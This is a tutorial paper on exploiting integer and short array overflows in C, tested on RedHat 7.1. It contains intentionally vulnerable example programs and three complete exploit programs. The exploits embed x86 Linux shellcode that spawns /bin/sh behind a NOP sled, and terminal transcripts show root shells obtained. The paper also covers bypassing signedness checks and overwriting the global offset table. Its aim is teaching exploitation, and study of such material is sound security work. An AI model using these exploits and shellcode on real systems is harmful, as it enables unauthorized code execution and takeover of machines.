PAPER: "Integer array overflows". AUTHOR: vade79/v9 v9@fakehalo.deadpig.org (fakehalo). HEADER: A tutorial on the exploitation of int, and short array overflows. This paper discusses the exploitation of integer arrays due to lack of calculations to limit the amount of elements added to them. This is a fairly common occurrence in programming today, while somewhat known and understood in character array form, I've never seen it mentioned on the integer level. Expectations for this paper are that you have knowledge of stack based overflows, heap based overflows, memory workings, some knowledge of character array overflows wouldn't hurt, and of course good ANSI C programming experience. All of the example programs and example exploits contained in this paper were made and tested on RedHat/7.1 default install. It is possible the values used may not be the same on every system. As such, you will need to fully read the paper and test for yourself. Integer array overflows happen much the same as any other lack of bounds checking overflow occurs. In memory, after the allotted space provided to hold the number of elements defined, are internal values and memory addresses. Once you have access to go beyond those bounds, you can overwrite internal values just as easily as a standard buffer overflow. This is possible because memory addresses on most architectures just happen to be the same size as an integer; four bytes stored in memory. As such, this allows you to not have to worry about alignment. To illustrate how this looks on the memory level, in ascii: int array[32]; Will look like (in memory): [0x00000000][0x00000000][0x00000000][0x00000000][0x00000000][0x00000000] [0x00000000][0x00000000][0x00000000][0x00000000][0x00000000][0x00000000] [0x00000000][0x00000000][0x00000000][0x00000000][0x00000000][0x00000000] [0x00000000][0x00000000][0x00000000][0x00000000][0x00000000][0x00000000] [0x00000000][0x00000000][0x00000000][0x00000000][0x00000000][0x00000000] [0x00000000][0x00000000] Then, right after the 32nd(last) array value are internal values and memory addresses, depending on each situation, making for possible exploitable situations. The fact that address notation and integer notation have the exact same maximum limit of value (0xffffffff = 4294967295) makes this perfect for any range of memory mangling. Now it's time for a nice example of a buggy program: INT_ARRAY.C: example buggy program. /* int_array.c: a buggy test program. */ /* syntax: ./int_array [slot] [value] */ #include #include #include void place_int_array(unsigned int slot,int value){ int array[32]; array[slot]=value; /* the overwrite itself. */ printf("filled slot %u with %d.\n",slot,value); return; } int main(int argc,char **argv){ if(argc!=3) printf("syntax: %s [slot] [value]\n",argv[0]); else place_int_array(atoi(argv[1]),atoi(argv[2])); exit(0); } INT_ARRAY.C: EOF. Basically, all the example program does is fill the desired element with the supplied value. So, time to tinker with the example program: $ [root@localhost /root]# gcc int_array.c -o int_array $ [root@localhost /root]# ./int_array 33 65535 $ filled slot 33 with 65535. $ [root@localhost /root]# ./int_array 34 65535 $ filled slot 34 with 65535. $ [root@localhost /root]# ./int_array 35 65535 $ filled slot 35 with 65535. $ Segmentation fault (core dumped) That's what I like to see; time to take it into gdb and examine. $ [root@localhost /root]# gdb -c core $ GNU gdb 5.0rh-5 Red Hat Linux 7.1 $ ... $ This GDB was configured as "i386-redhat-linux". $ Core was generated by `./int_array 35 65535'. $ Program terminated with signal 11, Segmentation fault. $ #0 0x0000ffff in ?? () $ (gdb) Perfect, 0x0000ffff = 65535, the same value passed as the second argument (note that it may not be slot 35 on every machine). So, we have control of EIP in integer notation; no problem. As stated before, address values and integer values are the same, just in different notation. This is true for most common memory layouts, but not all. Now, time to produce an example exploit for this example program: EXPL_INT_ARRAY.C: example exploit, for a buggy program. /* expl_int_array.c: int_array.c exploit. */ /* syntax: ./expl_int_array [0x????????] [#] */ #include #include #include #include /* path to the buggy program. (int_array) */ #define PATH "./int_array" /* size of shellcode buffer. */ #define ENV_SIZE 4096 /* x86/linux shellcode, written by aleph1. */ static char x86_exec[]= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f" "\x62\x69\x6e\x2f\x73\x68"; int main(int argc,char **argv){ char n_to_s[16],*buf; unsigned int ret; /* take address given, to be converted to a */ /* numeric value. */ if(argc>2) sscanf(argv[1],"%x",&ret); else{ printf("syntax: %s [0x????????] [#]\n",argv[0]); exit(0); } /* compensation: */ /* anything above 0x7fffffff will need to be */ /* passed as a negative value. subtract */ /* 0xffffffff in that case. it will loop */ /* over into the desired value. */ if(ret>0x7fffffff) sprintf(n_to_s,"%d",ret-0xffffffff-1); else sprintf(n_to_s,"%u",ret); /* put the nops+shellcode in the environment. */ if(!(buf=(char *)malloc(ENV_SIZE+1)))exit(0); memset(buf,0x90,(ENV_SIZE-strlen(x86_exec))); memcpy(buf+(ENV_SIZE-strlen(x86_exec)),x86_exec,strlen(x86_exec)); setenv("EXEC",buf,1); free(buf) /* some verbose display, informing! */ printf("* return address: 0x%x\n",ret); printf("* command line: %s %s %s\n\n",PATH,argv[2],n_to_s); /* exploit it. */ execl(PATH,PATH,argv[2],n_to_s,0); /* should not make it here, execution failed. */ exit(0); } EXPL_INT_ARRAY.C: EOF. The exploit syntax is as follows: ./expl_int_array [slot number] [address]. Where 'expl_int_array' will put shellcode in the environment on top of the stack close to 0xbfffffff going downward. (for linux) Since, in the exploit example I gave ~4000 bytes of NOP (no operation/guesses) room, we'll use an address a bit from the top. $ [root@localhost /root]# gcc expl_int_array.c -o expl_int_array $ [root@localhost /root]# ./expl_int_array 0xbffff000 35 $ * return address: 0xbffff000 $ * command line: ./int_array 35 -1073745920 $ $ filled slot 35 with -1073745920. $ sh-2.04# Presto, now let's spice it up a little bit. We'll change the original int_array.c example code to contain some bounds checking. INT_ARRAY.C: (rewrite of original) example buggy program. /* int_array.c: a buggy test program. */ /* syntax: ./int_array [slot] [value] */ #include #include #include void place_int_array(int slot,int value){ int array[32]; if(slot>32) printf("slot is greater than 32, out of bounds.\n"); else{ array[slot]=value; /* the overwrite itself. */ printf("filled slot %d with %d.\n",slot,value); } return; } int main(int argc,char **argv){ if(argc!=3) printf("syntax: %s [slot] [value]\n",argv[0]); else place_int_array(atoi(argv[1]),atoi(argv[2])); exit(0); } INT_ARRAY.C: (rewrite of original) EOF. The main change in the example code (int_array.c) is that it checks for writing to array slots greater than 32, but not checking for negative values passed in an improper signedness situation. Since this example code is just a rewrite of the original, we can use the same example exploit used on the rewrite, as was on the original. So, when we attempt the same example exploit command line as before, we get a different result. $ [root@localhost /root]# ./expl_int_array 0xbffff000 35 $ * return address: 0xbffff000 $ * command line: ./int_array 35 -1073745919 $ $ slot is greater than 32, out of bounds. However, do to the improper signedness usage in the code, this can be exploited by passing a large, specially crafted negative value. If you remember, in the original example the magic number was 35. For this situation, we can take that value and form a simple calculation to make it bypass the bounds checking while overwriting the same area; -2147483648(max) + 35 = -2147483613. Now let's see what happens. $ [root@localhost /root]# ./expl_int_array 0xbffff000 -2147483613 $ * return address: 0xbffff000 $ * command line: ./int_array -2147483613 -1073745919 $ $ filled slot -2147483613 with -1073745919. $ sh-2.04# Simple as that, at least for this example. Now, let's rewrite the same example one last time. This time we will allocate the array in the heap instead of on the stack. INT_ARRAY.C: (second rewrite of original) example buggy program. /* int_array.c: a buggy test program. */ /* syntax: ./int_array [slot] [value] */ #include #include #include void place_int_array(int slot,int value){ int *array; if(!(array=(int *)calloc(32,sizeof(int))))exit(1); if(slot>32) printf("slot is greater than 32, out of bounds.\n"); else{ array[slot]=value; /* the overwrite itself. */ printf("filled slot %d with %d.\n",slot,value); } return; } int main(int argc,char **argv){ if(argc!=3) printf("syntax: %s [slot] [value]\n",argv[0]); else place_int_array(atoi(argv[1]),atoi(argv[2])); exit(0); } INT_ARRAY.C: (second rewrite of original) EOF. Alright, this is the rewrite of the first rewrite. Only new thing here is the memory is allocated on the heap now. This changes things somewhat, including methods of exploitation. The method I am fond of in this kind of situation is to overwrite the GOT("_GLOBAL_OFFSET_TABLE_") of other functions. Since the integer array is located after the GOT section, we will use negative slot values to back track. In a small program, such as this example, the GOT section will not be too far back. If the program is on a larger scale, you will most likely need to travel back a good deal farther. On the flip-side of that coin, there will most likely be more functions; meaning there will be more GOT function addresses available to change. You should hit magic spots in the GOT section around -45 to -70. The ones that worked for me were -53, -55, -57, -59, and -62. As before, this is just another rewrite of the original example code. We can use the same example exploit code to exploit it, just different arguments. $ [root@localhost /root]# ./expl_int_array 0xbffff000 -53 $ * return address: 0xbffff000 $ * command line: ./int_array -53 -1073745919 $ $ filled slot -53 with -1073745919. $ sh-2.04# Time to move on to a new example situation and example program. When it comes to practical exploitation of integer arrays, it will most likely be in a looped situation. In such a situation, you may need to fill in other internal values to make it work. For example, in many loop situations, the first value you overwrite may be that of the increase/decrease integer (ie. "i++;") showing the location in the loop and where to place in the array. These situations can make it possible to jump from one location to another, making it so we only overwrite the destination location desired. This is done by passing a specially crafted value for the increase/decrease loop integer, making the array element slot point to anywhere you want in respective memory locations. Here is an example of such a buggy program: INT_ARRAY2.C: example buggy program. /* int_array2.c: a buggy test program. */ /* syntax: ./int_array2 [value,value,...] */ #include #include #include #include char *gettoken(char *,int,unsigned int); void place_int_array(char *); int main(int argc,char **argv){ if(argc!=2) printf("syntax: %s [value,value,...]\n",argv[0]); else place_int_array(argv[1]); exit(0); } /* place the string into the elements. */ void place_int_array(char *slot_values){ unsigned int i=0; int array[32]; char *ptr; /* overflow occurs here, no bounds checking. */ while((ptr=gettoken(slot_values,i,','))){ array[i]=atoi(ptr); /* the overwrite itself. */ printf("placed %d in array slot %u.\n",atoi(ptr),i); i++; /* will be overwritten too. (first) */ } return; } /* function to pluck out tokens. */ char *gettoken(char *string,int i,unsigned int sep){ unsigned int j=0,k=0; char *buf; if(!(buf=(char *)malloc(strlen(string)+1)))exit(1); memset(buf,0x0,(strlen(string)+1)); if(i<0)return(NULL); else for(j=0;j0)return(NULL); return(buf); } INT_ARRAY2.C: EOF. The buggy program simply takes each number passed, separated by commas, and adds it in sequenced order to the array without bounds checking. Now, let's see what we can make it do. $ [root@localhost /root]# gcc int_array2.c -o int_array2 $ [root@localhost /root]# ./int_array2 `perl -e 'print"123,"x50'`123 $ placed 123 in array slot 0. $ placed 123 in array slot 1. $ placed 123 in array slot 2. $ placed 123 in array slot 3. $ ... $ placed 123 in array slot 32. $ placed 123 in array slot 33. $ placed 123 in array slot 34. $ placed 123 in array slot 123. $ [root@localhost /root]# If you noticed, where slot 35 was supposed to be, got changed to our 123. This means we have control of the loop integer described earlier. This means we can make a jump, if desired, to only overwrite the location we want to. Back to playing with the buggy program. $ [root@localhost /root]# ./int_array2 `perl -e 'print"0,"x35'`35,0,0,0\ $ ,65535 $ placed 0 in array slot 0. $ placed 0 in array slot 1. $ placed 0 in array slot 2. $ placed 0 in array slot 3. $ ... $ placed 0 in array slot 32. $ placed 0 in array slot 33. $ placed 0 in array slot 34. $ placed 35 in array slot 35. $ placed 0 in array slot 36. $ placed 0 in array slot 37. $ placed 0 in array slot 38. $ placed 65535 in array slot 39. $ Segmentation fault (core dumped) Ah, good, I decided to just leave the loop integer with what it should be (35) to keep the program sane for testing. Let's take the core into gdb. $ [root@localhost /root]# gdb -c core $ GNU gdb 5.0rh-5 Red Hat Linux 7.1 $ ... $ This GDB was configured as "i386-redhat-linux". $ Core was generated by `./int_array2 $ 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,'. $ Program terminated with signal 11, Segmentation fault. $ #0 0x0000ffff in ?? () Perfect, 0x0000ffff = 65535, just like the first examples. Now it's time for the example exploit to prove the theory. EXPL_INT_ARRAY2.C: example exploit, for a buggy program. /* expl_int_array2.c: int_array2.c exploit. */ /* syntax: ./expl_int_array2 [0x????????] */ #include #include #include #include /* path to the buggy program. (int_array2) */ #define PATH "./int_array2" /* size of shellcode buffer. */ #define ENV_SIZE 4096 /* x86/linux shellcode, written by aleph1. */ static char x86_exec[]= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f" "\x62\x69\x6e\x2f\x73\x68"; /* fill the array up first. remember, the 38 */ /* is there because that is the location of */ /* the loop (increase) integer getting */ /* overwritten in that slot, which is slot 35 */ /* in this situation. since, EIP is at 38, */ /* might as well jump 35 to 38 while keeping */ /* the program sane. */ static char prefix[]= "0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0," "0,0,0,0,0,0,0,0,0,38,0,0,0,"; int main(int argc,char **argv){ char n_to_s[16],*buf; unsigned int ret; /* take address given, to be converted to a */ /* numeric value. */ if(argc>1) sscanf(argv[1],"%x",&ret); else{ printf("syntax: %s [0x????????]\n",argv[0]); exit(0); } /* compensation: */ /* anything above 0x7fffffff will need to be */ /* passed as a negative value. subtract */ /* 0xffffffff in that case. it will loop */ /* over into the desired value. */ if(ret>0x7fffffff) sprintf(n_to_s,"%d",ret-0xffffffff); else sprintf(n_to_s,"%u",ret); /* put the nops+shellcode in the environment. */ if(!(buf=(char *)malloc(ENV_SIZE+1)))exit(1); memset(buf,0x90,(ENV_SIZE-strlen(x86_exec))); memcpy(buf+(ENV_SIZE-strlen(x86_exec)),x86_exec,strlen(x86_exec)); setenv("EXEC",buf,1); free(buf); /* make the final array argument to pass. */ if(!(buf=(char *)malloc(strlen(prefix)+strlen(n_to_s)+1)))exit(1); sprintf(buf,"%s%s",prefix,n_to_s); /* some verbose display, informing! */ printf("* return address: 0x%x\n",ret); printf("* command line: %s %s\n\n",PATH,buf); /* exploit it. */ execl(PATH,PATH,buf,0); /* should not make it here, execution failed. */ exit(0); } EXPL_INT_ARRAY2.C: EOF. The syntax for the example exploit is virtually the same as the first except the only argument needed is an address. On with the show. $ [root@localhost /root]# gcc expl_int_array2.c -o expl_int_array2 $ [root@localhost /root]# ./expl_int_array2 0xbffff000 $ * return address: 0xbffff000 $ * command line: ./int_array2 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, $ 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,38,0,0,0,-1073745919 $ $ placed 0 in array slot 0. $ placed 0 in array slot 1. $ placed 0 in array slot 2. $ placed 0 in array slot 3. $ ... $ placed 0 in array slot 32. $ placed 0 in array slot 33. $ placed 0 in array slot 34. $ placed 38 in array slot 38. $ placed -1073745919 in array slot 39. $ sh-2.04# Now for one last example. We are going to take the same idea as the int_array2.c example except use a 'short' array instead. Exploiting a short array will be slightly different than that of an int array. The main difference being that short's are stored as two bytes and int's are four bytes. If you have experience with format string bugs, the format of exploitation will be very similar to that of the "half numbers". Here is the buggy short array example program. SHORT_ARRAY.C: example buggy program. /* short_array.c: a buggy test program. */ /* syntax: ./short_array [value,value,...] */ #include #include #include #include char *gettoken(char *,int,unsigned int); void place_short_array(char *); int main(int argc,char **argv){ if(argc!=2) printf("syntax: %s [value,value,...]\n",argv[0]); else place_short_array(argv[1]); exit(0); } /* place the string into the elements. */ void place_short_array(char *slot_values){ unsigned int i=0; short array[32]; char *ptr; /* overflow occurs here, no bounds checking. */ while((ptr=gettoken(slot_values,i,','))){ array[i]=atoi(ptr); /* the overwrite itself. */ printf("placed %d in array slot %u.\n",atoi(ptr),i); i++; /* will be overwritten too. (first) */ } return; } /* function to pluck out tokens. */ char *gettoken(char *string,int i,unsigned int sep){ unsigned int j=0,k=0; char *buf; if(!(buf=(char *)malloc(strlen(string)+1)))exit(1); memset(buf,0x0,(strlen(string)+1)); if(i<0)return(NULL); else for(j=0;j0)return(NULL); return(buf); } SHORT_ARRAY.C: EOF. If you noticed, the only difference between this and int_array2.c is that the array is a short. So, since the values are half the size of an int, it is going to take twice as many elements to do what we want (after that array). Here is how short_array responds under the same testing on int_array2. $ [root@localhost /root]# gcc short_array.c -o short_array $ [root@localhost /root]# ./short_array `perl -e 'print"0,"x32'`0,0,0,0\ $ ,0,0,38,0,0,0,0,0,0,0,65535,43690 $ placed 0 in array slot 0. $ placed 0 in array slot 1. $ placed 0 in array slot 2. $ placed 0 in array slot 3. $ ... $ placed 0 in array slot 32. $ placed 0 in array slot 33. $ placed 0 in array slot 34. $ placed 0 in array slot 35. $ placed 0 in array slot 36. $ placed 0 in array slot 37. $ placed 38 in array slot 38. $ placed 0 in array slot 39. $ placed 0 in array slot 40. $ placed 0 in array slot 41. $ placed 0 in array slot 42. $ placed 0 in array slot 43. $ placed 0 in array slot 44. $ placed 0 in array slot 45. $ placed 65535 in array slot 46. $ placed 43690 in array slot 47. $ Segmentation fault (core dumped) $ [root@localhost /root]# gdb -c core $ GNU gdb 5.0rh-5 Red Hat Linux 7.1 $ ... $ This GDB was configured as "i386-redhat-linux". $ Core was generated by `./short_array $ 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0'. $ Program terminated with signal 11, Segmentation fault. $ #0 0xaaaaffff in ?? () Everything occurs about the same as in int_array2, doubled in values, including the doubling to make the address value. Where 65535 is 0xffff and 0x43690 is 0xaaaa. As a side note, if you are overwriting a loop integer with short elements, you will want to leave half of the integer as a 0 (0x0000) unless the integer is over 65535 (0xffff), which is not a likely scenario for a loop integer. On with the demonstration exploit. EXPL_SHORT_ARRAY.C: example exploit, for a buggy program. /* expl_short_array.c: short_array.c exploit. */ /* syntax: ./expl_short_array [0x????????] */ #include #include #include #include /* path to the buggy program. (short_array) */ #define PATH "./short_array" /* size of shellcode buffer. */ #define ENV_SIZE 4096 /* x86/linux shellcode, written by aleph1. */ static char x86_exec[]= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f" "\x62\x69\x6e\x2f\x73\x68"; /* fill the array up first. remember, the 45 */ /* is there because that is the location of */ /* the loop (increase) integer getting */ /* overwritten in that slot, which is slot 38 */ /* in this situation. since, EIP is at 45, */ /* might as well jump 38 to 45 while keeping */ /* the program sane. */ static char prefix[]= "0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0," "0,0,0,0,0,0,0,0,0,0,0,0,45,0,0,0,0,0,0,0,"; int main(int argc,char **argv){ char n_to_s[16],*buf; unsigned int ret; /* take address given, to be converted to a */ /* numeric value. */ if(argc>1) sscanf(argv[1],"%x",&ret); else{ printf("syntax: %s [0x????????]\n",argv[0]); exit(0); } /* compensation: */ /* as short's are two bytes, it will be */ /* broken down into two element overwrites. */ /* also, don't need to worry about negative */ /* values in this situation. */ sprintf(n_to_s,"%u,%u",(ret&0x0000ffff),(ret&0xffff0000)>>16); /* put the nops+shellcode in the environment. */ if(!(buf=(char *)malloc(ENV_SIZE+1)))exit(1); memset(buf,0x90,(ENV_SIZE-strlen(x86_exec))); memcpy(buf+(ENV_SIZE-strlen(x86_exec)),x86_exec,strlen(x86_exec)); setenv("EXEC",buf,1); free(buf); /* make the final array argument to pass. */ if(!(buf=(char *)malloc(strlen(prefix)+strlen(n_to_s)+1)))exit(1); sprintf(buf,"%s%s",prefix,n_to_s); /* some verbose display, informing! */ printf("* return address: 0x%x\n",ret); printf("* command line: %s %s\n\n",PATH,buf); /* exploit it. */ execl(PATH,PATH,buf,0); /* should not make it here, execution failed. */ exit(0); } EXPL_SHORT_ARRAY.C: EOF. And demonstrate. $ [root@localhost /root]# ./expl_short_array 0xbffff000 $ * return address: 0xbffff000 $ * command line: ./short_array 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 $ ,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,45,0,0,0,0,0,0,0,61440,49151 $ $ placed 0 in array slot 0. $ placed 0 in array slot 1. $ placed 0 in array slot 2. $ placed 0 in array slot 3. $ ... $ placed 0 in array slot 32. $ placed 0 in array slot 33. $ placed 0 in array slot 34. $ placed 0 in array slot 35. $ placed 0 in array slot 36. $ placed 0 in array slot 37. $ placed 45 in array slot 45. $ placed 61440 in array slot 46. $ placed 49151 in array slot 47. $ sh-2.04# Poof, and that's that. As this paper has shown, integer array overflows are not limited to the stack or heap, or even one brand of integer. The same rules, if not less, apply to integer array overflows that do to any other kind of overflow. Any of these situations can also occur with character arrays in the same manner. The only difference being you cannot use null bytes in character array situations as you can with integer arrays. Also remember, signedness can play a major role in exploitation of these bugs. If proper signedness is used, it may render the negative value method useless. This only applies to the rewrites of the int_array.c example. I hope this short and to-the-point paper has helped to explain the potential of these kinds of overflows, and has shown how to effectively exploit them. Origin reference: http://fakehalo.deadpig.org/IAO-paper.txt Vade79 -> v9@fakehalo.deadpig.org -> fakehalo.